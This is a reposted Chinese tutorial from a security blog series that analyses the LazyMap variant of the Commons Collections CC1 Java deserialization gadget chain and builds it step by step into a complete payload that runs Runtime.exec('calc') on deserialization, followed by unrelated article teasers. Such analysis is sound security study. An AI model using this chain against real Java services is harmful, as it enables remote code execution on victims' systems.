Java反序列化利用链篇 | CC1链的第二种方式-LazyMap版调用链【本系列文章的分析重点】

news2024/11/15 23:54:01

文章目录

  • CC1链的第二种方式-LazyMap版调用链
    • LazyMap
    • 构造payload
    • CC1的调用链

系列篇其他文章,推荐顺序观看~

  • Java反序列化利用链篇 | JdbcRowSetImpl利用链分析
  • Java反序列化利用链篇 | CC1链_全网最菜的分析思路【本系列文章的分析重点】
  • Java反序列化利用链篇 | CC1链的第二种方式-LazyMap版调用链【本系列文章的分析重点】
  • Java反序列化利用链篇 | URLDNS链
  • Java反序列化利用链篇 | CC6链分析(通用版CC链)
  • Java反序列化利用链篇 | CC3链分析、TemplatesImpl类中的调用链、TrAXFilter、InstantiateTransformer类的transform()【本系列文章的分析重点】

CC1链的第二种方式-LazyMap版调用链

CC1链的第一种方式可以参考另一篇文章:CC1链_全网最菜的分析思路

LazyMap

在之前的CC1链中分析,其实是其中一种方式(国内版本),还有另外一种方式,也是ysoserial中的CC1链的方式(国外版本)。

区别在于调用transform的类是不同的。

在寻找transform调用的时候,当时使用的是TransformedMap中的checkSetValue()方法。

其实在LazyMap的get()方法也满足需求,也能到达readObject()。

具体方法如下:

其中比较重要的代码是

Object value = factory.transform(key);

也就是我们如果能控制factory的值为ChainedTransformer,就可以实现命令执行。

factory的赋值语句在LazpMap的构造函数内部。

那又是谁调用了LazyMap的get()方法呢?

这里非常的不好找,因为调用太多了(找到的师傅牛~)。

AnnotationInvocationHandler类的invoke()方法中有调用:

而这个AnnotationInvocationHandler类是一个动态代理类,特点之一就是调用该类的任意方法,都会调用器invoke()方法。

所以如果调用AnnotationInvocationHandler类的readObject()方法,该类的invoke()方法也会触发。

因此,整个的调用链也就出来了:

sun.reflect.annotation.AnnotationInvocationHandler#readObject
sun.reflect.annotation.AnnotationInvocationHandler#invoke
org.apache.commons.collections.map.LazyMap#get
org.apache.commons.collections.functors.ChainedTransformer#transform
org.apache.commons.collections.functors.InvokerTransformer#transform

构造payload

从LazyMap的get()方法中可以看到,通过factory.transform(key)方式调用了transform()

所以根据CC1链的第一条,只需要控制factorychainedTransformer即可。

factory是在LazyMap的构造函数中赋值:

而此构造函数不能直接调用,但是可以通过decorate()方法获取到:

则可以得到如下不完整的payload:

Transformer[] TransformerArray = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

// 通过decorate()方法获取到LazyMap对象,并将ChainedTransformer传入
LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);

其中调用lazyMap的get()方法,则会触发恶意代码,测试一下:

// 调用lazyMap的get()方法则会调用chainedTransformer的transformer()
        lazyMap.get("key");

接下来想办法:如何调用到lazyMap的get()方法呢?

前面说在AnnotationInvocationHandler类的invoke()方法中有调用get()方法:

而这里的调用,是通过memberValues来进行调用,我们需要保证memberValueslazyMap,这样的话,执行该invoke()方法时才会调用到lazyMapget()方法。

memberValues是通过AnnotationInvocationHandler的构造函数传入:

AnnotationInvocationHandler类不能实例化,需要借助反射,相关代码如下:

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
// AnnotationInvocationHandler类实现自InvocationHandler接口
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap);  // 注意这里传入lazpMap,给memberValues赋值

那如何调用InvocationHandler ih对象的invoke()方法呢?

这里可以看到AnnotationInvocationHandler类实现自InvocationHandler接口,也就是说AnnotationInvocationHandler类是一个动态代理的处理器类。

那么,想调用InvocationHandler ih对象的invoke()方法,只需要调用被代理对象的任意方法,则可以调用ih对象的invoke()。这里需要注意:直接调用被代理对象的任意方法不行,需要借助动态代理才可以调用到invoke(),也就是说需要创建动态代理。

创建动态代理代码如下:

  • 这里的动态代理对象,用来代理LazyMap实现的接口,处理器对象为ih
Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, ih);  // 将InvocationHandler ih传入

这样只需要调用LazyMap对象的任意方法,就会调用ih对象的invoke()

注意这里虽然调用任意方法,可以调用ih对象的invoke(),但是还得保证,调用invoke()方法之后,能执行到Object result = memberValues.get(member);,这样才能执行我们想要的lazyMapget()方法。

我们可以看到:执行invoke方法之后,有一些条件需要绕过一下,否则就直接返回了,无法执行到memberValues.get(member)

总结下来就是:动态代理的执行方法(即被代理对象lazyMap的任意方法)不能是equals\toString\hashCode\annotationType方法,且不能存在参数。

那么,被代理对象lazyMap可执行的方法(看代理的接口Map的方法)还有下面几个:

测试一下是否可以执行恶意代码:

Transformer[] TransformerArray = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap);


Map mapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), ih);

mapProxy.clear();

接下来,寻找谁调用了mapProxy(被代理对象)的size()/isEmpty()/clear()/keySet()/values()/entrySet()方法。

其实这里(在CC1链的第一条中也用过)刚好AnnotationInvocationHandlerreadObject方法中存在 map对象的entrySet()无参方法调用:

其中我们需要保证memberValues变量为mapProxy(被代理对象)即可,而且这里是在readObject方法中,直接一步到位。

这里怎么办呢?

同样的,通过反射创建AnnotationInvocationHandler对象,并将mapProxy(被代理对象)传入,给memberValues变量赋值即可:

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler obj = (InvocationHandler)declaredConstructor.newInstance(Target.class, mapProxy);

而这里的前面三行已经有了,所以此时的payload可以合并为:

Transformer[] TransformerArray = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

// 通过decorate()方法获取到LazyMap对象,并将ChainedTransformer传入
LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap);  // 注意这里传入lazpMap,给memberValues赋值

Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, ih);  // 将InvocationHandler ih传入

InvocationHandler obj = (InvocationHandler)declaredConstructor.newInstance(Target.class, mapProxy);

得到了一个对象obj,对其序列化,反序列时会自动调用器readObject()方法,执行恶意代码。

则最终的payload为:

Transformer[] TransformerArray = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);


Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap);

Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, ih);

Object obj = declaredConstructor.newInstance(Target.class, mapProxy);


SerAndUnser.serialize(obj);
SerAndUnser.unserialize("ser.bin");

CC1的调用链

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2159253.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

人工智能之计算机视觉的发展历程与相关技术内容,相应的模型介绍

大家好&#xff0c;我是微学AI&#xff0c;今天给大家介绍一下人工智能之计算机视觉的发展历程与相关技术内容&#xff0c;相应的模型介绍。本文围绕计算机视觉这一领域&#xff0c;以问答的形式呈现了关键问题及详细解答。内容涵盖计算机视觉的基本概念、技术原理、应用场景等…

全方位洗衣洗鞋小程序系统,重塑干洗店服务新体验;

全方位洗衣洗鞋小程序系统&#xff0c;重塑干洗店服务新体验; 一、核心功能革新&#xff1a; 1.多元化下单模式&#xff1a;融合上门取送、到店服务、寄存网点及智能衣柜四种便捷方式&#xff0c;用户轻松一键下单&#xff0c;享受个性化服务。 2.从下单到送回&#xff0c;全程…

Kotlin高阶函数func

Kotlin高阶函数func fun sum(a: Int, b: Int, someFunc: () -> Unit) {println("${a b}")someFunc() }fun myFunc() {println("计算成功") }fun main() {sum(1, 2, ::myFunc) } 输出&#xff1a; 3 计算成功 Kotlin函数作为参数指向不同逻辑_ketlin 将…

ubuntu中通过源码安装pointnet2_ops_lib

注&#xff1a;本帖所用环境为&#xff1a;ubuntu 24.04、 cuda 12.04 文章目录 1. 克隆 PointNet 源码库2. 安装依赖3. 编译 pointnet2_ops_lib4. 测试安装 1. 克隆 PointNet 源码库 首先&#xff0c;克隆 PointNet 的 GitHub 仓库&#xff1a; git clone https://github.co…

ML 系列:机器学习和深度学习的深层次总结(08)—欠拟合、过拟合,正确拟合

ML 系列赛&#xff1a;第 9 天 — Under、Over 和 Good Fit 文章目录 一、说明二、了解欠拟合、过拟合和实现正确的平衡三、关于泛化四、欠拟合五、过拟合六、适度拟合七、结论 一、说明 在有监督学习过程中&#xff0c;对于指定数据集进行训练&#xff0c;训练结果存在欠拟合…

基于Es和智普AI实现的语义检索

1、什么是语义检索 语义检索是一种利用自然语言处理&#xff08;NLP&#xff09;和人工智能&#xff08;AI&#xff09;技术来理解搜索查询的语义&#xff0c;以提供更准确和相关搜索结果的搜索技术&#xff0c;语义检索是一项突破性的技术&#xff0c;旨在通过深入理解单词和…

QT菜单栏设计(二级菜单栏)

目的&#xff1a;创建一级菜单栏&#xff0c;添加对应选项&#xff0c;并向一级菜单栏中添加二级菜单栏选项。 #include "mainwindow.h" #include "ui_mainwindow.h"MainWindow::MainWindow(QWidget *parent): QMainWindow(parent), ui(new Ui::MainWindo…

【天怡AI-注册安全分析报告-无验证方式导致安全隐患】

前言 由于网站注册入口容易被黑客攻击&#xff0c;存在如下安全问题&#xff1a; 1. 暴力破解密码&#xff0c;造成用户信息泄露 2. 短信盗刷的安全问题&#xff0c;影响业务及导致用户投诉 3. 带来经济损失&#xff0c;尤其是后付费客户&#xff0c;风险巨大&#xff0c;造…

Netty笔记07-粘包与半包(上)

文章目录 前言1. 粘包造成粘包的原因解决粘包的方法 2. 半包造成半包的原因解决半包的方法 粘包现象服务端代码示例客户端代码示例 半包现象现象分析粘包半包滑动窗口MSS 限制Nagle 算法 前言 粘包和半包问题是网络编程中常见的问题&#xff0c;特别是在TCP协议中。通过合理的设…

C++编程语言:基础设施:源文件和程序(Bjarne Stroustrup)

第15章 源文件和程序 (Source Files and Programs) 目录 15.1 单独编译(Separate Compilation) 15.2 链接(Linkage) 15.2.1 文件局部名(File-Local Names) 15.2.2 头文件(Header Files) 15.2.3 一次定义原则(The One-Definition Rule) 15.2.4 标准库头文件 1…

Python办公自动化教程(001):PDF内容提取

1、Pdfplumber介绍 pdfplumber的github地址&#xff1a; https://github.com/jsvine/pdfplumber/【介绍】&#xff1a;pdfplumber 是一个用于处理 PDF 文件的 Python 第三方库&#xff0c;它提供了一种方便的方式来提取 PDF 文件中的文本、表格和其他信息。【功能】&#xff…

JEDEC DDR3 SRAM standard

DDRDouble Data Rate双倍速率,DDR SDRAM双倍速率同步动态随机存储器&#xff0c;人们习惯称为DDR&#xff0c;其中&#xff0c;SDRAM 是Synchronous Dynamic Random Access Memory的缩写&#xff0c;即同步动态随机存取存储器。而DDR SDRAM是Double Data Rate SDRAM的缩写&…

交叉熵损失函数的使用

交叉熵损失函数 交叉熵损失函数&#xff08;Cross-Entropy Loss&#xff09;&#xff0c;也称为对数损失&#xff08;Log Loss&#xff09;&#xff0c;是机器学习和深度学习中常用的损失函数之一&#xff0c;尤其在分类问题中。它衡量的是模型预测的概率分布与真实标签的概率…

写作文的AI,不妨试试这些工具

写作文的AI&#xff0c;随着人工智能技术的迅猛发展&#xff0c;AI写作软件已经成为许多作家、学生和内容创作者的得力助手。这些软件不仅能帮助用户生成高质量的文章&#xff0c;还能提供创意灵感、语法校正和内容优化等多重功能。下面&#xff0c;本文将介绍五款各具特色的AI…

s3c2440——UART串口通信

一、通信方式 1、并行通信&#xff1a;一次可收发2bit/2bit以上。通信效率高&#xff1b;但对SOC硬件资源占用率太高。 串行通信&#xff1a;一次通信传递1bit。降低对硬件占用率&#xff1b;但通信速率低。 2、单工通信&#xff1a;只能A发送&#xff0c;B接收。 半双工通信…

D. Minimize the Difference (Codeforces Round 973 Div. 2)

D. Minimize the Difference 思路&#xff1a; 发现操作是单向的从左往右取高补低&#xff0c;最终目标是尽可能趋于平均&#xff0c;使最大值最小和使最小值最大。可以用二分答案法分别找到两个最值&#xff0c;然后做差即可。 关于这种算法的正确性没有做严格的证明&#x…

国庆节适合买什么东西?精选五款实用又优惠的多功能好物!

临近国庆&#xff0c;我猜很多朋友已经开始为假期做好准备&#xff0c;计划开启出游和购物的节奏了&#xff01;大家都希望在国庆期间&#xff0c;买到一些平时因为价格太贵而舍不得下单的好物&#xff01;作为一名家居兼数码博主&#xff0c;每年国庆的时候我都会疯狂采购各种…

那年我双手插兜,使用IPv6+DDNS动态域名解析访问NAS

估计有很多科技宅和我一样&#xff0c;会买一个NAS存储或者自己折腾刷一下黑群晖玩玩&#xff0c;由于运营商不给分配固定的公网IP&#xff0c;就导致我在外出的时候无法访问家里的NAS&#xff0c;于是远程访问常常受到IP地址频繁变动的困扰。为了解决这一问题&#xff0c;结合…

对FPGA加载过程中不同寄存器初始化方式现象的分析

对FPGA加载过程中不同寄存器初始化方式现象的分析 概述目的术语和缩略语参考资料 相关原理分析MMCM时钟锁定分析声明信号时进行初始化RTL测试代码示波器现象 同步复位/置位初始化RTL测试代码示波器现象 异步复位/置位初始化RTL测试代码示波器现象 不进行任何初始化操作&#xf…

JSP 指令标识和脚本标识的使用

文章目录 前言一、JSP 页面是什么&#xff1f;二、JSP 基本语法 1.指令标识 &#xff08;1&#xff09;page 指令&#xff08;2&#xff09;include 指令&#xff08;3&#xff09;taglib 指令2.脚本标识总结 前言 在进行Java Web 应用开发的过程中&#xff0c;JSP 是必不可少的…